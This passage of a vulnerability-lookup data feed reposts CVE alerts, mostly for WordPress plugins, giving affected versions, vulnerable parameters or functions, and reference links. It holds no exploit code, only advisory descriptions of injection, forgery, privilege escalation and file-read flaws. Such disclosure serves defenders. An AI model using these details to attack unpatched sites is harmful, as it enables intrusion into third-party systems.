2025-01-04T12:30:32Z\n\ud83c\udff7\ufe0f **CWE IDs**: CWE-352\n\ud83d\udd17 **References**:\n1. https://nvd.nist.gov/vuln/detail/CVE-2024-1229\n2. https://plugins.trac.wordpress.org/changeset/32115\n3. https://wordpress.org/plugins/wp-fb-autoconnect/#developers\n4. https://www.wordfence.com/threat-intel/vulnerabilities/id/392d8286-a5fd-4d5d-9f6a-f13564013edc?source=cve", "creation_timestamp": "2025-01-05T01:39:15.000000Z"}, {"uuid": "88500a1e-c4ff-428f-9111-ca1fdc6b477f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12435", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/299", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12435\n\ud83d\udd39 Description: The Compare Products for WooCommerce plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the \u2018s_feature\u2019 parameter in all versions up to, and including, 3.2.1 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link.\n\ud83d\udccf Published: 2025-01-07T04:22:23.499Z\n\ud83d\udccf Modified: 2025-01-07T04:22:23.499Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/f74c419a-56de-4190-925d-876d32f712e1?source=cve\n2. https://plugins.trac.wordpress.org/browser/woocommerce-compare-products/trunk/admin/classes/class-wc-compare-fields.php#L392\n3. https://plugins.trac.wordpress.org/browser/woocommerce-compare-products/trunk/admin/classes/class-wc-compare-fields.php#L397", "creation_timestamp": "2025-01-07T04:36:18.000000Z"}, {"uuid": "2be064dc-3dfc-4264-b9fd-c90c9798b498", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12324", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/298", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12324\n\ud83d\udd39 Description: The Unilevel MLM Plan plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the \u2018page\u2019 parameter in all versions up to, and including, 1.1.0 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link.\n\ud83d\udccf Published: 2025-01-07T04:22:23.847Z\n\ud83d\udccf Modified: 2025-01-07T04:22:23.847Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/fe71e2b9-ddd7-4d6d-97e5-5fad41f8f35c?source=cve\n2. https://plugins.trac.wordpress.org/browser/unilevel-mlm-plan/trunk/includes/admin/settings/view/ump-epins-list.php#L81", "creation_timestamp": "2025-01-07T04:36:05.000000Z"}, {"uuid": "bdd79167-acaa-4b0c-b033-1814dc0c2743", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12470", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/305", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12470\n\ud83d\udd39 Description: The School Management System \u2013 SakolaWP plugin for WordPress is vulnerable to privilege escalation in all versions up to, and including, 1.0.8. This is due to the registration function not properly limiting what roles a user can register as. This makes it possible for unauthenticated attackers to register as an administrative user.\n\ud83d\udccf Published: 2025-01-07T04:22:21.270Z\n\ud83d\udccf Modified: 2025-01-07T04:22:21.270Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/db1c581b-5cc9-46c0-ba5d-605642697729?source=cve\n2. https://wordpress.org/plugins/sakolawp-lite/", "creation_timestamp": "2025-01-07T04:36:56.000000Z"}, {"uuid": "91a323ca-eaea-46ff-b518-d64ed05dd2eb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12208", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/304", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12208\n\ud83d\udd39 Description: The Backup and Restore WordPress \u2013 Backup Plugin plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 1.50. This is due to missing or incorrect nonce validation on the ajax_queue_manual_backup() function. This makes it possible for unauthenticated attackers to trigger backups via a forged request granted they can trick a site administrator into performing an action such as clicking on a link.\n\ud83d\udccf Published: 2025-01-07T04:22:21.646Z\n\ud83d\udccf Modified: 2025-01-07T04:22:21.646Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/e461a04b-6456-4930-b3e7-0f808825aa6b?source=cve\n2. https://wordpress.org/plugins/wp-backitup/", "creation_timestamp": "2025-01-07T04:36:52.000000Z"}, {"uuid": "ca55bc0c-aca4-4cc4-adbe-d52548598b0f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12302", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/150", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: GHSA-24m8-vx7p-q7mf\n\ud83d\udd17 Aliases: CVE-2024-12302\n\ud83d\udd39 Details: The Icegram Engage  WordPress plugin before 3.1.32 does not sanitise and escape some of its Campaign settings, which could allow authors and above to perform Stored Cross-Site Scripting attacks\n\ud83d\uddd3\ufe0f Modified: 2025-01-06T06:30:46Z\n\ud83d\uddd3\ufe0f Published: 2025-01-06T06:30:45Z\n\ud83d\udd17 References:\n1. https://nvd.nist.gov/vuln/detail/CVE-2024-12302\n2. https://wpscan.com/vulnerability/ed860dac-8c4a-482f-8826-31f1a894b6ce", "creation_timestamp": "2025-01-06T06:40:14.000000Z"}, {"uuid": "28c17ef7-117b-4970-9f45-032bfe990665", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12693", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/174", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: GHSA-m84q-p89f-6cc5\n\ud83d\udd17 Aliases: CVE-2024-12693\n\ud83d\udd39 Details: Out of bounds memory access in V8 in Google Chrome prior to 131.0.6778.204 allowed a remote attacker to execute arbitrary code inside a sandbox via a crafted HTML page. (Chromium security severity: High)\n\ud83d\udd22 Severity: CVSS_V3: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H\n\ud83d\uddd3\ufe0f Modified: 2025-01-06T15:30:58Z\n\ud83d\uddd3\ufe0f Published: 2024-12-19T00:37:35Z\n\ud83d\udd17 References:\n1. https://nvd.nist.gov/vuln/detail/CVE-2024-12693\n2. https://chromereleases.googleblog.com/2024/12/stable-channel-update-for-desktop_18.html\n3. https://issues.chromium.org/issues/382190919", "creation_timestamp": "2025-01-06T15:38:25.000000Z"}, {"uuid": "601f26bb-128d-46ef-84bb-19c71b6591f8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12311", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/149", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: GHSA-c797-jx9v-f674\n\ud83d\udd17 Aliases: CVE-2024-12311\n\ud83d\udd39 Details: The Email Subscribers by Icegram Express  WordPress plugin before 5.7.44 does not sanitize and escape a parameter before using it in a SQL statement, allowing admins to perform SQL injection attacks\n\ud83d\uddd3\ufe0f Modified: 2025-01-06T06:30:46Z\n\ud83d\uddd3\ufe0f Published: 2025-01-06T06:30:45Z\n\ud83d\udd17 References:\n1. https://nvd.nist.gov/vuln/detail/CVE-2024-12311\n2. https://wpscan.com/vulnerability/5e00ba3-daf-403-a0b9-6523696fbdd", "creation_timestamp": "2025-01-06T06:40:11.000000Z"}, {"uuid": "f957115f-bb0d-46f4-b91f-37677e864bad", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12445", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/301", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12445\n\ud83d\udd39 Description: The RightMessage WP plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'rm_area' shortcode in all versions up to, and including, 0.9.7 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.\n\ud83d\udccf Published: 2025-01-07T04:22:22.734Z\n\ud83d\udccf Modified: 2025-01-07T04:22:22.734Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/efbbb33d-28ed-47f4-a8dd-2fc7564d9df2?source=cve\n2. https://plugins.trac.wordpress.org/browser/rightmessage/trunk/includes/class-rightmessage.php#L45\n3. https://wordpress.org/plugins/rightmessage", "creation_timestamp": "2025-01-07T04:36:38.000000Z"}, {"uuid": "b286823b-779f-4a4a-9ba4-ae564b45cc6e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12532", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/392", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12532\n\ud83d\udd39 Description: The BWD Elementor Addons plugin for WordPress is vulnerable to Sensitive Information Exposure in all versions up to, and including, 4.3.18 in widgets/bwdeb-content-switcher.php. This makes it possible for authenticated attackers, with Contributor-level access and above, to extract sensitive private, pending, and draft template data.\n\ud83d\udccf Published: 2025-01-07T11:11:11.537Z\n\ud83d\udccf Modified: 2025-01-07T11:11:11.537Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/8bdf6a52-7316-440b-9d36-d405a672dce1?source=cve\n2. https://plugins.trac.wordpress.org/changeset/3211460/bwd-elementor-addons", "creation_timestamp": "2025-01-07T11:37:18.000000Z"}, {"uuid": "b56c665f-5322-4d86-a85a-daf545c2757a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12595", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/217", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12595\n\ud83d\udd39 Description: The AHAthat Plugin WordPress plugin through 1.6 does not escape the $_SERVER['REQUEST_URI'] parameter before outputting it back in an attribute, which could lead to Reflected Cross-Site Scripting in old web browsers\n\ud83d\udccf Published: 2025-01-02T06:00:13.479Z\n\ud83d\udccf Modified: 2025-01-06T20:26:50.598Z\n\ud83d\udd17 References:\n1. https://wpscan.com/vulnerability/7a506438-3106-477f-816d-b9b116ec8555/", "creation_timestamp": "2025-01-06T20:49:00.000000Z"}, {"uuid": "f2e68036-5180-459b-b86f-9f9991adb238", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12402", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/294", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12402\n\ud83d\udd39 Description: The Themes Coder \u2013 Create Android & iOS Apps For Your Woocommerce Site plugin for WordPress is vulnerable to privilege escalation via account takeover in all versions up to, and including, 1.3.4. This is due to the plugin not properly validating a user's identity prior to updating their password through the update_user_profile() function. This makes it possible for unauthenticated attackers to change arbitrary user's passwords, including administrators, and leverage that to gain access to their account.\n\ud83d\udccf Published: 2025-01-07T03:21:53.748Z\n\ud83d\udccf Modified: 2025-01-07T03:21:53.748Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/1ec14b1e-6d1a-4451-9fce-ac064623d92f?source=cve\n2. https://plugins.trac.wordpress.org/browser/tc-ecommerce/trunk/controller/app_user.php#L338", "creation_timestamp": "2025-01-07T03:37:22.000000Z"}, {"uuid": "e5356e32-2825-46c3-ad39-9952ff650ee1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12557", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/293", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12557\n\ud83d\udd39 Description: The Transporters.io plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 2.0.84. This is due to missing nonce validation on a function. This makes it possible for unauthenticated attackers to inject malicious web scripts via a forged request granted they can trick a site administrator into performing an action such as clicking on a link.\n\ud83d\udccf Published: 2025-01-07T03:21:54.147Z\n\ud83d\udccf Modified: 2025-01-07T03:21:54.147Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/2f79778c-c11a-4d98-bc26-8113c3fef630?source=cve\n2. https://wordpress.org/plugins/transportersio/#developers", "creation_timestamp": "2025-01-07T03:37:15.000000Z"}, {"uuid": "60fdfff7-2435-4e14-bf9d-9a79d9f6b027", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12849", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/343", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12849\n\ud83d\udd39 Description: The Error Log Viewer By WP Guru plugin for WordPress is vulnerable to Arbitrary File Read in all versions up to, and including, 1.0.1.3 via the wp_ajax_nopriv_elvwp_log_download AJAX action. This makes it possible for unauthenticated attackers to read the contents of arbitrary files on the server, which can contain sensitive information.\n\ud83d\udccf Published: 2025-01-07T05:23:53.756Z\n\ud83d\udccf Modified: 2025-01-07T05:23:53.756Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/57888e36-3a61-4452-b4ea-9db9e422dc2d?source=cve\n2. https://plugins.trac.wordpress.org/browser/error-log-viewer-wp/tags/1.0.1.3/error-log-viewer-wp.php#L295\n3. https://plugins.trac.wordpress.org/browser/error-log-viewer-wp/tags/1.0.1.3/error-log-viewer-wp.php#L479\n4. https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3215563%40error-log-viewer-wp&new=3215563%40error-log-viewer-wp&sfp_email=&sfph_mail=#file10", "creation_timestamp": "2025-01-07T05:38:55.000000Z"}, {"uuid": "5c5378e8-258a-4497-b890-ca846b6e29b9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12439", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/342", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12439\n\ud83d\udd39 Description: The Marketplace Items plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'marketplace' shortcode in all versions up to, and including, 1.5.5 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.\n\ud83d\udccf Published: 2025-01-07T05:23:54.216Z\n\ud83d\udccf Modified: 2025-01-07T05:23:54.216Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/602ae805-a6a6-48bd-bd2a-00fafadfdce4?source=cve\n2. https://plugins.trac.wordpress.org/browser/marketplace-items/trunk/marketplace-items.php\n3. https://wordpress.org/plugins/marketplace-items/", "creation_timestamp": "2025-01-07T05:38:47.000000Z"}, {"uuid": "cda4939f-f934-4cc6-8676-57a9d7ccc8e6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12717", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/895", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12717\n\ud83d\udd39 Description: The Aklamator INfeed WordPress plugin through 2.0.0 does not sanitise and escape some of its settings, which could allow high privilege users such as admin to perform Stored Cross-Site Scripting attacks even when the unfiltered_html capability is disallowed (for example in multisite setup).\n\ud83d\udccf Published: 2025-01-09T06:00:07.297Z\n\ud83d\udccf Modified: 2025-01-09T06:00:07.297Z\n\ud83d\udd17 References:\n1. https://wpscan.com/vulnerability/5564926a-6b1d-43f4-8147-128472f6b93a/", "creation_timestamp": "2025-01-09T06:18:56.000000Z"}, {"uuid": "3386c5e8-1a25-46ca-893e-898bd9afd385", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12457", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/322", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12457\n\ud83d\udd39 Description: The Chat Support for Viber \u2013 Chat Bubble and Chat Button for Gutenberg, Elementor and Shortcode plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'vchat' shortcode in all versions up to, and including, 1.7.2 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.\n\ud83d\udccf Published: 2025-01-07T04:22:14.769Z\n\ud83d\udccf Modified: 2025-01-07T04:22:14.769Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/7834c0be-3051-4d97-928e-cf5295c93463?source=cve\n2. https://plugins.trac.wordpress.org/browser/chat-viber/tags/1.7.2/inc/class-custom-buttons-templates.php#L51", "creation_timestamp": "2025-01-07T04:38:59.000000Z"}, {"uuid": "6434155c-f917-464d-b08a-3893992bf0b2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12252", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/325", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12252\n\ud83d\udd39 Description: The SEO LAT Auto Post plugin for WordPress is vulnerable to file overwrite due to a missing capability check on the remote_update AJAX action in all versions up to, and including, 2.2.1. This makes it possible for unauthenticated attackers to overwrite the seo-beginner-auto-post.php file which can be leveraged to achieve remote code execution.\n\ud83d\udccf Published: 2025-01-07T04:22:02.465Z\n\ud83d\udccf Modified: 2025-01-07T04:22:02.465Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/67df10cc-ce3c-4157-9860-7e367062f710?source=cve\n2. https://wordpress.org/plugins/seo-beginner-auto-post/", "creation_timestamp": "2025-01-07T04:39:17.000000Z"}, {"uuid": "503ae965-d000-4360-9bf8-f444c3311dfc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12207", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/323", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12207\n\ud83d\udd39 Description: The Toggles Shortcode and Widget plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the \u2018content\u2019 parameter in all versions up to, and including, 1.14 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with administrator-level access, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. This only affects multi-site installations and installations where unfiltered_html has been disabled.\n\ud83d\udccf Published: 2025-01-07T04:22:13.206Z\n\ud83d\udccf Modified: 2025-01-07T04:22:13.206Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/755c8863-33c2-47aa-880a-0ef8b2d594a3?source=cve\n2. https://plugins.trac.wordpress.org/browser/toggles-shortcode-and-widget/trunk/include/otw_components/otw_shortcode/shortcodes/otw_shortcode_content_toggle.class.php#L246", "creation_timestamp": "2025-01-07T04:39:06.000000Z"}, {"uuid": "1840a0c2-d2ce-4844-b103-fc2c475e0cb9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12624", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/374", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12624\n\ud83d\udd39 Description: The Sina Extension for Elementor plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's Sina Image Differ widget in all versions up to, and including, 3.5.91 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.\n\ud83d\udccf Published: 2025-01-07T06:40:56.716Z\n\ud83d\udccf Modified: 2025-01-07T06:40:56.716Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/39f6fb61-25a9-4386-9b61-7343760fd28c?source=cve\n2. https://plugins.trac.wordpress.org/changeset/3211218/sina-extension-for-elementor", "creation_timestamp": "2025-01-07T07:37:52.000000Z"}, {"uuid": "865b6e67-aa44-4fa0-a271-2dc03d74dc2f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12699", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/383", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12699\n\ud83d\udd39 Description: The Service Box plugin for WordPress is vulnerable to Stored Cross-Site Scripting in all versions up to, and including, 1.9 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.\n\ud83d\udccf Published: 2025-01-07T09:22:16.015Z\n\ud83d\udccf Modified: 2025-01-07T09:22:16.015Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/e6a65630-0852-4ffc-8c23-295be95bd7f0?source=cve\n2. https://wordpress.org/plugins/service-boxs/#developers\n3. https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3216752%40service-boxs&new=3216752%40service-boxs&sfp_email=&sfph_mail=", "creation_timestamp": "2025-01-07T09:36:25.000000Z"}, {"uuid": "aab366ac-04ad-481d-ac06-33549290df85", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12592", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/286", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12592\n\ud83d\udd39 Description: The Sellsy plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'testSellsy' shortcode in all versions up to, and including, 2.3.3 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.\n\ud83d\udccf Published: 2025-01-07T03:21:57.562Z\n\ud83d\udccf Modified: 2025-01-07T03:21:57.562Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/9fd3610c-cce4-420c-85c1-0b71679df650?source=cve\n2. https://wordpress.org/plugins/sellsy/", "creation_timestamp": "2025-01-07T03:36:35.000000Z"}, {"uuid": "d0e20837-524d-4c93-bcaf-7a69ffb404a8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12202", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/365", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12202\n\ud83d\udd39 Description: The Croma Music plugin for WordPress is vulnerable to unauthorized modification of data that can lead to privilege escalation due to a missing capability check on the 'ironMusic_ajax' function in all versions up to, and including, 3.6. This makes it possible for authenticated attackers, with Subscriber-level access and above, to update arbitrary options on the WordPress site. This can be leveraged to update the default role for registration to administrator and enable user registration for attackers to gain administrative user access to a vulnerable site.\n\ud83d\udccf Published: 2025-01-07T07:22:33.123Z\n\ud83d\udccf Modified: 2025-01-07T07:22:33.123Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/4ce8e0f1-5a7b-41a3-81d0-7fd12c9da6d9?source=cve\n2. https://croma.irontemplates.com/lowtempo/wp-content/themes/croma/changelog.txt", "creation_timestamp": "2025-01-07T07:37:00.000000Z"}, {"uuid": "f25fe95e-4b0d-4eb9-9796-08095f915595", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12712", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/689", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12712\n\ud83d\udd39 Description: The Shopping Cart & eCommerce Store plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on the webhook function in all versions up to, and including, 5.7.8. This makes it possible for unauthenticated attackers to modify order statuses.\n\ud83d\udccf Published: 2025-01-08T09:18:35.684Z\n\ud83d\udccf Modified: 2025-01-08T09:18:35.684Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/28a3f382-3801-4e98-9004-56c27a85f0a2?source=cve\n2. https://plugins.trac.wordpress.org/changeset/3211285/wp-easycart/trunk/wpeasycart.php", "creation_timestamp": "2025-01-08T10:12:19.000000Z"}, {"uuid": "a585bb95-fdac-42c2-9f81-bed43b69e45b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12419", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/290", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12419\n\ud83d\udd39 Description: The The Design for Contact Form 7 Style WordPress Plugin \u2013 CF7 WOW Styler plugin for WordPress is vulnerable to arbitrary shortcode execution in all versions up to, and including, 1.7.0. This is due to the software allowing users to execute an action that does not properly validate a value before running do_shortcode. This makes it possible for unauthenticated attackers to execute arbitrary shortcodes. This functionality is also vulnerable to Reflected Cross-Site Scripting. Version 1.7.0 patched the Reflected XSS issue, however, the arbitrary shortcode execution issue remains.\n\ud83d\udccf Published: 2025-01-07T03:21:55.752Z\n\ud83d\udccf Modified: 2025-01-07T03:21:55.752Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/5d78ea71-5886-488e-a660-0dc25129a8b6?source=cve\n2. https://plugins.trac.wordpress.org/browser/cf7-styler/tags/1.6.9/admin/class-cf7-customizer-admin.php#L405\n3. https://plugins.trac.wordpress.org/browser/cf7-styler/tags/1.6.9/admin/class-cf7-customizer-admin.php#L300\n4. https://plugins.trac.wordpress.org/browser/cf7-styler/tags/1.6.9/admin/class-cf7-customizer-admin.php#L295", "creation_timestamp": "2025-01-07T03:36:58.000000Z"}, {"uuid": "0093d11c-1062-4394-8383-408b277c8c71", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12541", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/289", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12541\n\ud83d\udd39 Description: The Chative Live chat and Chatbot plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 1.1. This is due to missing or incorrect nonce validation on the 